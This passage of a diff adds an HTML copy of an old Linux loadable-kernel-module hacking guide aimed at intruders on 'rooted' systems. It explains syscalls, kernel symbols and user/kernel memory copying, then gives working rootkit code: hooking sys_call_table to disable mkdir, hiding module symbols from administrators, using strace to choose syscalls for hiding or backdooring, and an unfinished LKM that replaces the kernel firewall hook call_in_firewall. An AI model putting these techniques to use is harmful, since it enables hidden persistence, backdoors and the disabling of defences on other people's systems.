+</tr>
+
+<tr>
+<td>int sys_execve      
+(struct pt_regs regs);</td>    
+<td>important systemcall -> it is responsible for executing file (pt_regs is the register stack)</td>
+</tr>
+
+<tr>
+<td>long sys_fcntl    
+(unsigned int fd,
+ unsigned int cmd,
+ unsigned long arg);</td>
+<td>changing characteristics of fd (opened file descr.)</td>
+</tr>
+
+<tr>
+<td>int sys_link           
+(const char *oldname,
+ const char *newname);<br>
+int sym_link
+(const char *oldname,
+ const char *newname);<br>
+int sys_unlink
+(const char *name);<br></td>
+<td>systemcalls for hard- / softlinks management</td>
+</tr>
+
+<tr>
+<td>int sys_rename         
+(const char *oldname,
+ const char *newname);</td>
+<td>file renaming</td>
+</tr>
+
+<tr>
+<td>int sys_rmdir                
+(const char* name);<br>
+int sys_mkdir
+(const *char filename,
+ int mode);<br></td>
+<td>creating & removing directories</td>
+</tr>
+
+<tr>
+<td>int sys_open             
+(const char *filename,   
+int mode);<br>
+int sys_close
+(unsigned int fd);<br></td>
+<td>everything concering opening files (also creation), and also closing them</td>
+</tr>
+
+<tr>
+<td>int sys_read
+(unsigned int fd,
+ char *buf, unsigned int
+ count);<br>
+int sys_write
+(unsigned int fd,
+ char *buf, unsigned int
+ count);<br></td>
+<td>systemcalls for writing & reading from Files</td>
+</tr>
+
+<tr>
+<td>int sys_getdents      
+(unsigned int fd,
+ struct dirent *dirent,
+ unsigned int count);</td>
+<td>systemcall which retrievs file listing (ls ... command)  </td>
+</tr>
+
+<tr>
+<td>int sys_readlink         
+(const char *path,
+ char *buf, int bufsize);</td>
+<td>reading symbolic links</td>
+</tr>
+
+<tr>
+<td>int sys_selectt          
+(int n, fd_set *inp, 
+fd_set *outp, fd_set 
+ *exp, struct timeval
+ *tvp);</td>
+<td>multiplexing of I/O operations</td>
+</tr>
+
+<tr>
+<td>sys_socketcall           
+(int call, unsigned long  
+ args);</td>
+<td>socket functions</td>
+</tr>
+
+<tr>
+<td>unsigned long            
+sys_create_module
+(char *name, unsigned 
+long size);<br>
+int sys_delete_module
+(char *name);<br>
+int sys_query_module
+(const char *name,
+ int which,
+ void *buf,
+ size_t bufsize,
+ size_t *ret);<br></td>
+<td>used for loading / unloading LKMs and querying</td> 
+</tr>
+</table>
+
+In my opinion these are the most interesting systemcalls for any hacking
+intention, of course it is possible that you may need something special on your
+rooted system, but the average hacker has a plenty of possibilities with the
+listing above. In part II you will learn how to use the systemcalls for your
+profit.
+
+
+<H3><A NAME="I.3."></A>3. What is the Kernel-Symbol-Table</h3>
+
+Ok, we understand the basic concept of systemcalls and modules. But there is
+another very important point we need to understand - the Kernel Symbol Table.
+Take a look at /proc/ksyms. Every entry in this file represents an exported
+(public) Kernel Symbol, which can be accessed by our LKM. Take a deep look
+in that file, you will find many interesting things in it. <br>
+This file is really very interesting, and can help us to see what our LKM can
+get; but there is one problem. Every Symbol used in our LKM (like a function) is
+also exportet to the public, and is also listed in that file. So an experienced
+admin could discover our little LKM and kill it.<br>
+There are lots of methods to prevent the admin from seeing our LKM, look at
+section II.<br>
+The methods mentioned in II can be called 'Hacks', but when you take a look at
+the contents of section II you won't find any reference to 'Keeping LKM Symbols
+out of /proc/ksyms'. The reason for not mentioning this problem in II is the
+following :<br>
+you won't need a trick to keep your module symbols away from /proc/ksyms.
+LKM devolopers are able to use the following piece of regular code to limit the
+exported symbols of their module:<br>
+
+<xmp>
+static struct symbol_table module_syms= { /*we define our own symbol table !*/
+ #include <linux/symtab_begin.h>          /*symbols we want to export, do we ?*/
+   ...                                       
+};
+
+register_symtab(&module_syms);            /*do the actual registration*/
+</xmp>
+
+As I said, we don't want to export any symbols to the public, so we use the
+following construction :
+
+<xmp>
+register_symtab(NULL);
+</xmp>
+
+This line must be inserted in the init_module() function, remember this !
+
+
+<H3><A NAME="I.4."></A>4. How to transform Kernel to User Space Memory </h3>
+
+Till now this essay was very very basic and easy. Now we come to stuff
+more difficult (but not more advanced).<br>
+We have many advantages because of coding in kernel space, but we also have some
+disadvantages. systemcalls get their arguments from user space (systemcalls are 
+implemented in wrappers like libc), but our LKM runs in kernel space. In section
+II you will see that it is very important for us to check the arguments of
+certain systemcalls in order to act the right way. But how can we access an
+argument allocated in user space from our kernel space module ?
+<br><i>Solution</i> : We have to make a <i>transition</i>.<br>
+This may sound a bit strange for non-kernel-hackers, but is really easy. Take
+the following systemcall :<br>
+
+<xmp>
+int sys_chdir (const char *path)
+</xmp>
+
+Imagine the system calling it, and we intercept that call (we will learn this in
+section II). We want to check the path the user wants to set, so we have to
+access const char *path. If you try to access the path variable directly like
+
+<xmp>
+printk("<1>%s\n", path);
+</xmp>
+
+you will get <i>real</i> problems...<br>
+Remember you are in kernel space, you <i>cannot</i> read user space memory easily.
+Well in Phrack 52 you get a solution by plaguez, which is specialized for strings
+He uses a kernel mode function (macro) for retrieving user space memory bytes :
+
+<xmp>
+#include <asm/segment.h>
+
+get_user(pointer);
+</xmp>
+
+Giving this function a pointer to our *path location helps ous getting the bytes
+from user space memory to kernel space. Look at the implemtation made by plaguez
+for moving strings from user to kernel space:<br>
+
+<xmp>
+char *strncpy_fromfs(char *dest, const char *src, int n)
+{
+    char *tmp = src;
+    int compt = 0;
+
+    do {
+       dest[compt++] = __get_user(tmp++, 1);
+    }
+    while ((dest[compt - 1] != '\0') && (compt != n));
+
+    return dest;
+}
+</xmp>
+
+If we want to convert our *path variable we can use the following piece of kernel
+code :
+
+<xmp>
+ char *kernel_space_path;
+
+ kernel_space_path = (char *) kmalloc(100, GFP_KERNEL); /*allocating memory 
+                                                        in kernel space*/
+ (void) strncpy_fromfs(test, path, 20);                 /*calling plaguez's 
+                                                        function*/
+ printk("<1>%s\n", kernel_space_path);                  /*now we can use
+                                                        the data for whatever we
+                                                        want*/
+ kfree(test);                                           /*remember freeing the
+                                                        memory*/
+</xmp>
+
+The code above works very fine. For a general transition it is too complicated;
+plaguez used it only for strings (the functions is made only for string copies).
+For normal data transitions the following function is the easiest way of doing:
+
+<xmp>
+#include <asm/segment.h>
+void memcpy_fromfs(void *to, const void *from, unsigned long count);
+</xmp>
+
+
+Both functions are obviously based on the same kind of commands, but the second
+one is nearly the same as plaguez's newly defined function. I would recommand
+using memcpy_fromfs(...) for general data transitions and plaguez's one for
+string copying tasks.<br>
+Now we know how to convert <i>from</i> user space memory <i>to</i> kernel space. But what
+about the other direction ? This is a bit harder, because we cannot easily
+allocate user space memory from our kernel space position. If we could manage this
+problem we could use<br>
+
+<xmp>
+#include <asm/segment.h>
+void memcpy_tofs(void *to, const void *from, unsigned long count);
+</xmp>
+
+doing the actual converting. But how to allocate user space for the *to pointer?
+plaguez's Phrack essay gives us the best solution :
+
+<xmp>
+/*we need brk systemcall*/
+static inline _syscall1(int, brk, void *, end_data_segment);
+
+...
+
+int ret, tmp;
+char *truc = OLDEXEC;
+char *nouveau = NEWEXEC;
+unsigned long mmm;
+
+mmm = current->mm->brk;
+ret = brk((void *) (mmm + 256));
+if (ret < 0)
+   return ret;
+memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);
+</xmp>
+
+This is a very nice trick used here. current is a pointer to the task structure
+of the current process; mm is the pointer to the mm_struct - responsible for
+the memory management of that process. By using the brk-systemcall on current->
+mm->brk we are able to increase the size of the unused area of the datasegment.
+And as we all know allocating memory is done by playing with the datasegment,
+so by increasing the unused area size, we have allocated some piece of memory
+for the current process. This memory can be used for copying the kernel space
+memory to user space (of the current process).<br>
+You may wonder about the first line from the code above. This line helps us to
+use user space like functions in kernel space.Every user space function provided
+to us (like fork, brk, open, read, write, ...) is represented by a _syscall(...)
+macro. So we can construct the exact syscall-macro for a certain user space
+function (represented by a systemcall); here for brk(...).<br>
+See I.5 for a detailed explanation.
+
+<H3><A NAME="I.5."></A>5.  Ways to use user space like functions</h3>
+
+As you saw in I.4 we used a syscall macro for constructing our own brk call,
+which is like the one we know from user space (->brk(2)). The truth about the
+user space library funtions (not all) is that they all are implemented through
+such syscall macros. The following code shows the _syscall1(..) macro used in
+I.4 to construct the brk(..) function (taken from /asm/unistd.h). <br>
+
+<xmp>
+#define _syscall1(type,name,type1,arg1) \
+type name(type1 arg1) \
+{ \
+long __res; \
+__asm__ volatile ("int $0x80" \
+       : "=a" (__res) \
+       : "0" (__NR_##name),"b" ((long)(arg1))); \
+if (__res >= 0) \
+       return (type) __res; \
+errno = -__res; \
+return -1; \
+}
+</xmp>
+
+You don't need to understand this code in its full function, it just calls
+interrupt 0x80 with the arguments provided by the _syscall1 parameters (-> I.2).
+name stands for the systemcall we need (the name is expanded to __NR_name, which
+is defined in /asm/unistd.h). This way we implemted the brk function. Other
+functions with a different count of arguments are implemented through other
+macros (_syscallX, where X stands for the number of arguments). <br>
+I personally use another way of implementing functions; look at the following 
+example :
+
+<xmp>
+int (*open)(char *, int, int); /*declare a prototype*/
+
+open = sys_call_table[SYS_open];  /*you can also use __NR_open*/
+</xmp>
+
+This way you don't need to use any syscall macro, you just use the function
+pointer from the sys_call_table. While searching the web, I found that this
+way of contructing user space like functions is also used in the famous LKM
+infector by SVAT. In my opinion this is the better solution, but test it and
+judge yourself.<br>
+Be careful when supplying arguments for those systemcalls, they need them in
+user space not from your kernel space position. Read I.4 for ways to bring your
+kernel space data to user space memory.<br>
+A very easy way doing this (the best way in my opinion) is playing with the
+needed registers. You have to know that Linux uses segment selectors to
+differentiate between kernel space, user space and so on. Arguments used with
+systemcalls which were issued from user space are somewhere in the data segment
+selector (DS) range. [I did not mention this in I.4,because it fits more in this
+section.]<br>
+DS can be retrieved by using get_ds() from asm/segment.h. So the data used as
+parameters by systemcalls can only be accessed from kernel space if we set
+the segment selector used for the user segment by the kernel to the needed DS
+value. This can be done by using set_fs(...). But be careful,you have to restore
+FS after you accessed the argument of the systemcall. So let's look at a code
+fragment showing something useful :<br>
+
+<xmp>
+->filename is in our kernel space; a string we just created, for example
+
+unsigned long old_fs_value=get_fs();
+
+set_fs(get_ds);               /*after this we can access the user space data*/
+open(filename, O_CREAT|O_RDWR|O_EXCL, 0640);
+set_fs(old_fs_value);         /*restore fs...*/
+</xmp>
+
+In my opinion this is the easiet / fastest way of solving the problem, but test
+it yourself (again).<br>
+Remember that the functions I showed till now (brk, open) are all implemented
+through a single systemcall. But there are also groups of user space functions 
+which are summarized into one systemcall. Take a look at the listing of
+interesting systemcalls (I.2); the sys_socketcall, for example, implements every
+function concering sockets (creation, closing, sending, receiving,...). So be
+careful when constructing your functions; always take a look at the kernel 
+sources.<br>
+
+<H3><A NAME="I.6."></A>6. List of daily needed Kernelspace Functions</h3>
+
+I introduced the printk(..) function in the beginning of this text. It is a
+function everyone can use in kernel space, it is a so called kernel function.
+Those functions are made for kernel developers who need complex functions which
+are normally only available through a library function. The following listing
+shows the most important kernel functions we often need :
+
+<TABLE border=5 width=100%>
+<tr>
+
+<th>function/macro</th>
+<th>description</th>
+
+<tr>
+<td>int sprintf  
+(char *buf, 
+const char *fmt,
+...);<br>
+int vsprintf
+(char *buf,
+const char *fmt,
+va_list args);<br></td>
+<td>functions for packing data into strings</td>
+</tr>
+
+<tr>
+<td>printk           
+(...)</td>
+<td>the same as printf in user space</td>
+</tr>
+
+<tr>
+<td>void *memset                 
+(void *s, char c,
+size_t count);<br>
+void *memcpy
+(void *dest, const void
+*src, size_t count);<br>
+char *bcopy
+(const char *src,
+char *dest, int count);<br>
+void *memmove
+(void *dest, const void
+*src, size_t count);<br>
+int memcmp
+(const void *cs,
+const void *ct, size_t
+count);<br>
+void *memscan
+(void *addr, unsigned char
+c, size_t size);<br></td>
+<td>memory functions</td>
+</tr>
+
+<tr>
+<td>int register_symtab       
+(struct symbol_table 
+*intab);</td>
+<td>see I.1</td>
+</tr>
+
+<tr>
+<td>char *strcpy               
+(char *dest, const char
+*src);<br>
+char *strncpy
+(char *dest, const char
+*src, size_t count);<br>
+char *strcat
+(char *dest, const char *src);<br>
+char *strncat
+(char *dest, const char
+*src, size_t count);<br>
+int strcmp
+(const char *cs, 
+const char *ct);<br>
+int strncmp
+(const char *cs,const 
+char *ct, size_t count);<br>
+char *strchr
+(const char *s, char c);<br>
+size_t strlen
+(const char *s);<br>
+size_t strnlen
+(const char *s,
+size_t count);<br>
+size_t strspn
+(const char *s,
+const char *accept);<br>
+char *strpbrk
+(const char *cs, 
+const char *ct);<br>
+char *strtok
+(char *s, const char *ct);<br></td>
+<td>string compare functions etc.</td>
+</tr>
+
+<tr>
+<td>unsigned long              
+simple_strtoul
+(const char *cp,
+char **endp, unsigned int
+base);</td>
+<td>converting strings to number</td>
+</tr>
+
+<tr>
+<td>get_user_byte              
+(addr);<br>
+put_user_byte
+(x, addr);<br>
+get_user_word
+(addr);<br>
+put_user_word
+(x, addr);<br>
+get_user_long
+(addr);<br>
+put_user_long
+(x, addr);<br></td>
+<td>functions for accessing user memory</td>
+</tr>
+
+<tr>
+<td>suser();<br>                   
+fsuser();<br></td>
+<td>checking for SuperUser rights</td>
+</tr>
+
+<tr>
+<td>int register_chrdev       
+(unsigned int major,        
+const char *name,           
+struct file_o perations 
+*fops);<br>
+int unregister_chrdev
+(unsigned int major, 
+const char *name);<br>
+int register_blkdev
+(unsigned int major,
+const char *name,
+struct file_o perations
+*fops);<br>
+int unregister_blkdev
+(unsigned int major,
+const char *name);<br></td>
+<td>functions which register device driver<br>
+..._chrdev -> character devices<br>
+..._blkdev -> block devices<br></td>
+</tr>
+</table>
+
+Please remember that some of those function may also be made available through
+the method mentoined in I.5. But you should understand, that it is not very
+useful contructing nice user space like functions, when the kernel gives them
+to us for free.<br>
+Later on you will see that these functions (especially string comaprisons) are
+very important for our purposes.<br>
+
+
+<H3><A NAME="I.7."></A>7. What is the Kernel-Daemon </h3>
+
+Finally we nearly reached the end of the basic part. Now I will explain the
+working of the Kernel-Daemon (/sbin/kerneld). As the name suggest this is a
+process in user space waiting for some action. First of all you must know that
+it is necessary to activite the kerneld option while building the kernel, in
+order to use kerneld's features. Kerneld works the following way : If the kernel
+wants to access a resource (in kernel space of course), which is not present
+at that moment, he does <i>not</i> produce an error. Instead of doing this he asks
+kerneld for that resource. If kerneld is able to provide the resource, it loads
+the required LKM and the kernel can continue working. By using this scheme it is
+possible to load and unload LKMs only when they are really needed / not needed.
+It should be clear that this work needs to be done both in user and in kernel
+space.<br>
+Kerneld exists in user space. If the kernel requests a new module this daemon
+receives a string from the kernel telling it which module to load.It is possible
+that the kenel sends a generic name (instead of the name of object file) like
+eth0. In this case the system need to lookup /etc/modules.conf for alias lines.
+Those lines match generic names to the LKM required on that system.<br>
+The following line says that eth0 is represented by a DEC Tulip driver LKM :<br>
+
+<xmp>
+# /etc/modules.conf          # or /etc/conf.modules - this differs
+alias eth0 tulip
+</xmp>
+
+This was the user space side represented by the kerneld daemon. The kernel space
+part is mainly represented by 4 functions. These functions are all based on
+a call to kerneld_send. For the exact way kerneld_send is involved by calling
+those functions look at linux/kerneld.h.  The following table lists the 4
+functions mentioned above :<br>
+
+<TABLE border=5 width=100%>
+<tr>
+
+<th>function</th>
+<th>description</th>
+
+<tr>
+<td>int sprintf  
+(char *buf, 
+const char *fmt,
+...);<br>
+int vsprintf
+(char *buf,
+const char *fmt,
+va_list args);<br></td>
+<td>functions for packing data into strings</td>
+</tr>
+
+<tr>
+<td>int request_module           
+(const char *name);</td>           
+<td>says kerneld that the kernel requires a certain module (given a name or gerneric ID / name)<td>
+<tr>
+
+<tr>
+<td>int release_module           
+(const char* name,
+int waitflag);</td>
+<td>unload a module</td>
+<tr>
+
+<tr>
+<td>int delayed_release_module   
+(const char *name);</td>
+<td>delayed unload</td>
+<tr>
+
+<tr>
+<td>int cancel_release_module    
+(const char *name);</td>
+<td>cancels a call of delayed_release_module</td>
+<tr>
+</table>
+<i>Note</i> : Kernel 2.2 uses another scheme for requesting modules. Take a look at part
+V.
+
+<H3><A NAME="I.8."></A>8. Creating your own Devices</h3>
+
+Appendix A introduces a TTY Hijacking util, which will use a device to log its
+results. So we have to look at a very basic example of a device driver.
+Look at the following code (this is a very basic driver, I just wrote it for
+demonstration, it does implement nearly no operations...) :<br>
+
+<xmp>
+#define MODULE
+#define __KERNEL__
+
+#include <linux/module.h>
+#include <linux/kernel.h>
+#include <asm/unistd.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+#include <asm/fcntl.h>
+#include <asm/errno.h>
+#include <linux/types.h>
+#include <linux/dirent.h>
+#include <sys/mman.h>
+#include <linux/string.h>
+#include <linux/fs.h>
+#include <linux/malloc.h>
+
+/*just a dummy for demonstration*/
+static int driver_open(struct inode *i, struct file *f)
+{
+ printk("<1>Open Function\n");
+ return 0;
+}
+
+/*register every function which will be provided by our driver*/
+static struct file_operations fops = {
+NULL,                 /*lseek*/
+NULL,                 /*read*/
+NULL,                 /*write*/
+NULL,                 /*readdir*/
+NULL,                 /*select*/
+NULL,                 /*ioctl*/
+NULL,                 /*mmap*/
+driver_open,          /*open, take a look at my dummy open function*/
+NULL,                 /*release*/
+NULL                  /*fsync...*/
+};
+
+
+int init_module(void)
+{
+ /*register driver with major 40 and the name driver*/
+ if(register_chrdev(40, "driver", &fops)) return -EIO;
+  return 0;
+}
+
+void cleanup_module(void)
+{
+ /*unregister our driver*/
+ unregister_chrdev(40, "driver");
+}
+</xmp>
+The most important important function is register_chrdev(...) which registers
+our driver with the major number 40. If you want to access this driver,do the
+following :
+
+<xmp>
+# mknode /dev/driver c 40 0
+
+# insmod driver.o
+</xmp>
+
+After this you can access that device (but i did not implement any functions due
+to lack of time...). The file_operations structure provides every function
+(operation) which our driver will provide to the system. As you can see I did
+only implement a very (!) basic dummy function just printing something. 
+It should be clear that you can implement your own devices in a very easy way
+by using the methods above. Just do some experiments. If you log some data (key
+strokes, for example) you can build a buffer in your driver that exports its 
+contents through the device interface).
+
+
+
+<u><b>
+<H2>II. Fun & Profit</H2>
+</u></b>
+<P><P>
+
+
+<H3><A NAME="II.1."></A>1. How to intercept Syscalls</h3>
+
+Now we start abusing the LKM scheme. Normally LKMs are used to extend the kernel
+(especially hardware drivers). Our 'Hacks' will do something different, they
+will intercept systemcalls and modify them in order to change the way the system
+reacts on certain commands.<br>
+The following module makes it impossible for any user on the compromised system
+to create directories. This is just a little demonstration to show the way we
+follow.<br>
+
+<xmp>
+#define MODULE
+#define __KERNEL__
+
+#include <linux/module.h>
+#include <linux/kernel.h>
+#include <asm/unistd.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+#include <asm/fcntl.h>
+#include <asm/errno.h>
+#include <linux/types.h>
+#include <linux/dirent.h>
+#include <sys/mman.h>
+#include <linux/string.h>
+#include <linux/fs.h>
+#include <linux/malloc.h>
+
+extern void* sys_call_table[];       /*sys_call_table is exported, so we
+                                     can access it*/               
+
+int (*orig_mkdir)(const char *path); /*the original systemcall*/
+
+
+int hacked_mkdir(const char *path)
+{
+ return 0;                           /*everything is ok, but he new systemcall
+                                     does nothing*/
+}
+
+int init_module(void)                /*module setup*/
+{
+ orig_mkdir=sys_call_table[SYS_mkdir];
+ sys_call_table[SYS_mkdir]=hacked_mkdir;
+ return 0;
+}
+
+void cleanup_module(void)            /*module shutdown*/
+{
+ sys_call_table[SYS_mkdir]=orig_mkdir; /*set mkdir syscall to the origal
+                                       one*/
+}
+</xmp>
+
+Compile this module and start it (see I.1). Try to make a directory, it will
+not work.Because of returning 0 (standing for OK) we don't get an error message.
+After removing the module making directories is possible again. 
+As you can see, we only need to change the corresponding entry in sys_call_table
+(see I.2) for intercepting a kernel systemcall.<br>
+The general approach to intercepting a systemcall is outlined in the following
+list :<br>
+<ul>
+
+<li> find your systemcall entry in sys_call_table[] (take a look at include/sys/
+  syscall.h)<br>
+<li> save the old entry of sys_call_table[X] in a function pointer (where X stands
+  for the systemcallnumber you want to intercept)<br>
+<li> save the address of the new (hacked) systemcall you defined yourself by
+  setting sys_call_table[X] to the needed function address<br>
+</ul>
+
+You will recognize that it is very useful to save the old systemcall function 
+pointer, because you will need it in your hacked one for emulating the original
+call.  The first question you have to face when writing a 'Hack-LKM  ' is : <br>
+<i>'Which systemcall should I intercept'.</i><br>
+
+<H3><A NAME="II.2."></A>2. Interesting Syscalls to Intercept</h3>
+Perhaps you are not a 'kernel god' and you don't know every systemcall for every
+user space function an application or command can use. So I will give you some 
+hints on finding your systemcalls to take control over.<br>
+<ol type="a">
+<li>read source code. On systems like Linux you can have the source code on
+    nearly any program a user (admin) can use. Once you have found a basic
+    function like dup, open, write, ... go to b<br>
+<li>take a look at include/sys/syscall.h (see I.2). Try to find a directly
+    corresponding systemcall (search for dup -> you will find SYS_dup; search
+    for write -> you will find SYS_write; ...). If this does not work got to c<br>
+<li>some calls like socket, send, receive, ... are implemented through one
+    systemcall - as I said before. Take a look at the include file mentioned
+    for related systemcalls.<br>
+</ol>
+
+Remember not every C-lib function is a systemcall ! Most functions are totally 
+unrelated to any systemcalls !<br>
+A little more experienced hackers should take a look at the systemcall listing
+in I.2 which provides enough information. It should be clear that User ID management
+is implemented through the uid-systemcalls etc. If you really want to be sure 
+you can also take a look at the library sources / kernel sources.<br>
+The hardest problem is an admin writing its own applications for checking system
+integrity / security. The problem concerning those programs is the lack of source
+code. We cannot say how this program exactly works and which systemcalls we have
+to intercept in order to hide our presents / tools. It may even be possible that 
+he introduced a LKM hiding itself which implements cool hacker-like systemcalls
+for checking the system security (the admins often use hacker techniques to defend
+their system...). So how do we proceed.<br>
+
+<H4><A NAME="II.2.1."></A>2.1  Finding interesting systemcalls (the strace approach)</h4>
+
+Let's say you know the super-admin program used to check the system (this can 
+be done in some ways,like TTY hijacking (see II.9 / Appendix A), the only problem
+is that you need to hide your presents from the super-admin program until that
+point..).<br>
+So run the program (perhaps you have to be root to execute it) using strace.
+
+<xmp>
+# strace super_admin_proggy
+</xmp>
+
+This will give you a really nice output of every systemcall made by that program
+including the systemcalls which may be added by the admin through his hacking
+LKM (could be possible). I don't have a super-admin-proggy for showing you a
+sample output, but take a look at the output of 'strace whoami' :<vr>
+
+<xmp>
+execve("/usr/bin/whoami", ["whoami"], [/* 50 vars */]) = 0
+mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40007000
+mprotect(0x40000000, 20673, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
+mprotect(0x8048000, 6324, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
+stat("/etc/ld.so.cache", {st_mode=S_IFREG|0644, st_size=13363, ...}) = 0
+open("/etc/ld.so.cache", O_RDONLY)      = 3
+mmap(0, 13363, PROT_READ, MAP_SHARED, 3, 0) = 0x40008000
+close(3)                                = 0
+stat("/etc/ld.so.preload", 0xbffff780)  = -1 ENOENT (No such file or directory)
+open("/lib/libc.so.5", O_RDONLY)        = 3
+read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3"..., 4096) = 4096
+mmap(0, 761856, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000c000
+mmap(0x4000c000, 530945, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0) = 0x4000c000
+mmap(0x4008e000, 21648, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x81000) = 0x4008e000
+mmap(0x40094000, 204536, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40094000
+close(3)                                = 0
+mprotect(0x4000c000, 530945, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
+munmap(0x40008000, 13363)               = 0
+mprotect(0x8048000, 6324, PROT_READ|PROT_EXEC) = 0
+mprotect(0x4000c000, 530945, PROT_READ|PROT_EXEC) = 0
+mprotect(0x40000000, 20673, PROT_READ|PROT_EXEC) = 0
+personality(PER_LINUX)                  = 0
+geteuid()                               = 500
+getuid()                                = 500
+getgid()                                = 100
+getegid()                               = 100
+brk(0x804aa48)                          = 0x804aa48
+brk(0x804b000)                          = 0x804b000
+open("/usr/share/locale/locale.alias", O_RDONLY) = 3
+fstat(3, {st_mode=S_IFREG|0644, st_size=2005, ...}) = 0
+mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40008000
+read(3, "# Locale name alias data base\n#"..., 4096) = 2005
+brk(0x804c000)                          = 0x804c000
+read(3, "", 4096)                       = 0
+close(3)                                = 0
+munmap(0x40008000, 4096)                = 0
+open("/usr/share/i18n/locale.alias", O_RDONLY) = -1 ENOENT (No such file or directory)
+open("/usr/share/locale/de_DE/LC_CTYPE", O_RDONLY) = 3
+fstat(3, {st_mode=S_IFREG|0644, st_size=10399, ...}) = 0
+mmap(0, 10399, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40008000
+close(3)                                = 0
+geteuid()                               = 500
+open("/etc/passwd", O_RDONLY)           = 3
+fstat(3, {st_mode=S_IFREG|0644, st_size=1074, ...}) = 0
+mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000b000
+read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1074
+close(3)                                = 0
+munmap(0x4000b000, 4096)                = 0
+fstat(1, {st_mode=S_IFREG|0644, st_size=2798, ...}) = 0
+mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000b000
+write(1, "r00t\n", 5r00t
+)                   = 5
+_exit(0)                                = ?
+</xmp>
+
+This is a very nice listing of all systamcalls made by the command 'whoami',
+isn't it ? There are  4 interesting systemcalls to intercept in order to
+manipulate the output of 'whoami'
+
+<xmp>
+geteuid()                               = 500
+getuid()                                = 500
+getgid()                                = 100
+getegid()                               = 100
+</xmp>
+
+Take a look at II.6 for an implementation of that problem. This way of analysing
+programs is also very important for a quick look at other standard tools.<br>
+I hope you are now able to find any systemcall which can help you to hide
+yourself or just to backdoor the system, or whatever you want.
+
+<H3><A NAME="II.3."></A>3. Confusing the kernel's System Table</h3>
+
+In II.1 you saw how to access the sys_call_table, which is exported through the
+kernel symbol table. Now think about this... We can modify <i>any</i> exported item
+(functions, structures, variables, for example) by accessing them within our
+module.<br>
+Anything listed in /proc/ksyms can be corrupted. Remember that our module cannot
+be compromised that way, because we don't export any symbols. Here is a little
+excerpt from my /proc/ksyms file, just to show you what you can actually modify.
+
+<xmp>
+...
+001bf1dc ppp_register_compressor
+001bf23c ppp_unregister_compressor
+001e7a10 ppp_crc16_table
+001b9cec slhc_init
+001b9ebc slhc_free
+001baa20 slhc_remember
+001b9f6c slhc_compress
+001ba5dc slhc_uncompress
+001babbc slhc_toss
+001a79f4 register_serial
+001a7b40 unregister_serial
+00109cec dump_thread
+00109c98 dump_fpu
+001c0c90 __do_delay
+001c0c60 down_failed
+001c0c80 down_failed_interruptible
+001c0c70 up_wakeup
+001390dc sock_register
+00139110 sock_unregister
+0013a390 memcpy_fromiovec
+001393c8 sock_setsockopt
+00139640 sock_getsockopt
+001398c8 sk_alloc
+001398f8 sk_free
+00137b88 sock_wake_async
+00139a70 sock_alloc_send_skb
+0013a408 skb_recv_datagram
+0013a580 skb_free_datagram
+0013a5cc skb_copy_datagram
+0013a60c skb_copy_datagram_iovec
+0013a62c datagram_select
+00141480 inet_add_protocol
+001414c0 inet_del_protocol
+001ddd18 rarp_ioctl_hook
+001bade4 init_etherdev
+00140904 ip_rt_route
+001408e4 ip_rt_dev
+00150b84 icmp_send
+00143750 ip_options_compile
+001408c0 ip_rt_put
+0014faa0 arp_send
+0014f5ac arp_bind_cache
+001dd3cc ip_id_count
+0014445c ip_send_check
+00142bc0 ip_forward
+001dd3c4 sysctl_ip_forward
+0013a994 register_netdevice_notifier
+0013a9c8 unregister_netdevice_notifier
+0013ce00 register_net_alias_type
+0013ce4c unregister_net_alias_type
+001bb208 register_netdev
+001bb2e0 unregister_netdev
+001bb090 ether_setup
+0013d1c0 eth_type_trans
+0013d318 eth_copy_and_sum
+0014f164 arp_query
+00139d84 alloc_skb
+00139c90 kfree_skb
+00139f20 skb_clone
+0013a1d0 dev_alloc_skb
+0013a184 dev_kfree_skb
+0013a14c skb_device_unlock
+0013ac20 netif_rx
+0013ae0c dev_tint
+001e6ea0 irq2dev_map
+0013a7a8 dev_add_pack
+0013a7e8 dev_remove_pack
+0013a840 dev_get
+0013b704 dev_ioctl
+0013abfc dev_queue_xmit
+001e79a0 dev_base
+0013a8dc dev_close
+0013ba40 dev_mc_add
+0014f3c8 arp_find
+001b05d8 n_tty_ioctl
+001a7ccc tty_register_ldisc
+0012c8dc kill_fasync
+0014f164 arp_query
+00155ff8 register_ip_masq_app
+0015605c unregister_ip_masq_app
+00156764 ip_masq_skb_replace
+00154e30 ip_masq_new
+00154e64 ip_masq_set_expire
+001ddf80 ip_masq_free_ports
+001ddfdc ip_masq_expire
+001548f0 ip_masq_out_get_2
+001391e8 register_firewall
+00139258 unregister_firewall
+00139318 call_in_firewall
+0013935c call_out_firewall
+001392d4 call_fw_firewall
+...
+</xmp>
+Just look at call_in_firewall, this is a function used by the firewall management
+in the kernel. What would happen if we replace this function with a bogus one ?<br>
+Take a look at the following LKM :
+
+<xmp>
+#define MODULE
+#define __KERNEL__
+
+#include <linux/module.h>
+#include <linux/kernel.h>
+#include <asm/unistd.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+#include <asm/fcntl.h>
+#include <asm/errno.h>
+#include <linux/types.h>
+#include <linux/dirent.h>
+#include <sys/mman.h>
+#include <linux/string.h>
+#include <linux/fs.h>
+#include <linux/malloc.h>
+
+
+/*get the exported function*/
+extern int *call_in_firewall;
+
+/*our nonsense call_in_firewall*/
+int new_call_in_firewall()
+{
+ return 0;
+}
+
